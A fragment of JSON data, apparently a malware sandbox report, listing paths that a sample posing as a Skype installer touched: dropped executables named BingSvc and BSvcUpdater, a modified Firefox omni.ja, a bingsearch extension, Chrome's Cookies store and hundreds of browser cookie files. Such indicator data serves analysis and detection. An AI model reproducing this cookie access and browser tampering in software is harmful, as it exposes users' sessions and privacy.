},{"path":"%WINDIR%\\system32\\en-US\\find.exe.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\wbem\\XSL-Mappings.xml","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\wbem\\texttable.xsl","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\B912B2C6928A18B8CD7D50CF08BEA95B_CE7D3806D9FFFA1D0D5693FC36A5DA25","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\CAEDF689AA6DC9642B833051B2B77D1A","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\0D704203BDA0CEEDCD2BBB4ACE02F586","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\B912B2C6928A18B8CD7D50CF08BEA95B_6F539538F5EB5010A09C7265C69D3ED7","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\B912B2C6928A18B8CD7D50CF08BEA95B_6F539538F5EB5010A09C7265C69D3ED7","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\IETldCache\\index.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\PROPSYS.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\37C951188967C8EB88D99893D9D191FE","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\37C951188967C8EB88D99893D9D191FE","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\C0018BB1B5834735BFA60CD063B31956","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\C0018BB1B5834735BFA60CD063B31956","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Skype","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Skype\\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\Skype.msi","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%ALLUSERSPROFILE%\\Skype\\{3B7E914A-93D5-4A29-92BB-AF8C3F66C431}\\Skype.msi","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\MsiMsg.dll","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\MsiMsg.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\IXP000.TMP","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\IXP000.TMP\\TMP4351$.TMP","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\DefaultPack","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\IXP000.TMP\\InstallerConfig.xml","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%PROGRAMFILES%\\Mozilla Firefox\\omni.ja","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\extensions","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\searchplugins","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"C:\\extensions\\bingsearch.full@microsoft.com.xpi","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\DefaultSetup","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\IXP000.TMP\\BrowserConfig.xml","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\IXP000.TMP\\BingSvc.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\DefaultPack\\DefaultPack.log","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\DefaultSetup","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\DefaultSetup\\BrowserConfig.xml","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\DefaultSetup\\DefaultSetup.log","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\BSvcUpdater.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%TEMP%\\BSvcProcessor.exe","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\en-US\\mlang.dll.mui","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\f4a2ldg@skype[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@127.0.0[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@2013561.fls.doubleclick[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@21cn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@246059135.log.optimizely[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@24h.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@27[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@2ch[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@2o7[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@33across[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@360doc[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@360[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@3lift[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@3suisses[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@4shared[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@53kf[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@58[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@61[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@85play[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@91[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@96pk[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@a.qunar[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@a.twiago[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@a4.bing[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@abcnews.go[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@abmr[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@abril.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@accounts.google[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@acer[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@acuityplatform[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad-survey[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad.360yield[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad.dyntracker[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad.zanox[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad1.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad2.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad4.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad4mat[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ad9.adfarm1.adition[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@addthis[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adentifi[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adfarm1.adition[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adform[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adgrx[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adhigh[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@admaster.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@admatic.com[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@admized[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adnxs[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adnxs[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adobe[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adobe[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adp.112.2o7[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adp[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.ad4game[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.avocet[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.kiosked[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.linkedin[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.pubmatic[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ads.travelaudience[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adscale[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adsearch.adkontekst[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adserver[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adshows.21cn[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adspirit[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adsrvr[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adsymptotic[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtechjp[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtechus[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtech[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtech[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adtriba[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@advertising[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@advertising[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@advolution[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@adyun[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@aeriagames[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@affiliedge-tracking[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@agkn[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@alexa[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@aliexpress[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@allcnet.gazeta[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@allocine[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@allrecipes[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@amazon-adsystem[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@amazon.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@amazon[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@an.yandex[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@and.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@api.unthem[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@apple[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@areyouahuman[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ashiato.travel.rakuten.co[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@at.atwola[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@at.atwola[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@at.pagesjaunes[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@atdmt[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@atemda[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ati-host[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@att[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@att[3].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@audiencemanager[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@audience[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@baidu[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@baixaki.com[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bankofamerica.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bankofamerica[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@barbie[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@barclays.co[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@beemp3s[2].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@behe[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bestbuy[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bidr.trellian[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bidswitch[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@biglobe.ne[1].txt","sources":[{"report_type":"sandbox","report_id":"595f84c77ca3e15f067e6e95"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bing[2].txt","sources":[{"